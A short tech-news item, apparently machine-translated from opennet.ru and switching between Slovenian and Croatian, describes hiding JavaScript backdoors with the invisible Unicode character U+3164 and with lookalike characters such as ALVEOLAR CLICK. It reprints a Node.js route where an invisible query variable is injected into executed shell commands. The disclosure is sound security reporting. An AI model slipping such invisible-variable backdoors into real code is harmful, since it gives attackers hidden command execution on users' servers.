Upotreba nevidljivih unicode simbola za skrivanje radnji u JavaScript kodu.

Po metodi napada Trojan Source, ki temelji na uporabi Unicode znakov, ki spreminjajo vrstni red prikazovanja dvostranskega besedila, je objavljena še ena tehnika za vstavljanje skritih dejanj, uporabna za kodo v programskem jeziku JavaScript. Nova metoda temelji na uporabi unicode znaka „ㅤ“ (koda 0x3164, „HANGUL FILLER“), ki spada med črke, a nima vidne vsebine. Unicode kategorija, v katero spada ta znak, je dovoljena od specifikacije ECMAScript 2015 za uporabo v imenih spremenljivk JavaScript, kar omogoča ustvarjanje nevidnih spremenljivk ali novih spremenljivk, ki niso razlikovane od drugih spremenljivk v priljubljenih urejevalnikih kode, kot sta Notepad++ in VS Code.

Kot primer je prikazana koda za platformo Node.js, v kateri je s spremenljivko, sestavljeno iz enega znaka „ㅤ“, skrit backdoor, ki omogoča izvajanje kode, ki jo določi napadalec: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // v resnici je navedeno „const { timeout,ㅤ \u3164}“ const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // za vejico sledi znak \u3164 ];

Na prvi pogled, kroz vanjski parametar se prenosi samo vrijednost timeout, dok niz s izvršavanim naredbama sadrži bezopasnu fiksnu listu. No, u stvarnosti, nakon varijable timeout dodjeljuje se vrijednost još jednoj nevidljivoj varijabli s kodom simbola \u3164, koja se također umetne u niz izvršavanih naredbi. Tako, u prisutnosti slične konstrukcije za aktiviranje backdoora i izvršenje vlastitog koda, napadač može poslati zahtjev oblika "https://host:8080/network_health?=komanda".

Kot še en primer je prikazan znak „ǃ“ (ALVEOLAR CLICK), ki se lahko uporabi za ustvarjanje videza, da se nakazuje izklicno znamenje. Na primer, izrazu „if(environmentǃ=ENV_PROD){“ se bo pri izvajanju v Node.js 14 vedno izkazalo za resnično, saj ne gre za preverjanje razlike, temveč za dodelitev vrednosti ENV_PROD spremenljivki „environmentǃ“. Med zavajajočimi unicode znaki so tudi „/“, „−“, „+“, „⩵“, „❨“, „⫽“, „꓿“ in „∗“.

Izvor: opennet.ru

Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki 🔥 Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki | ProHoster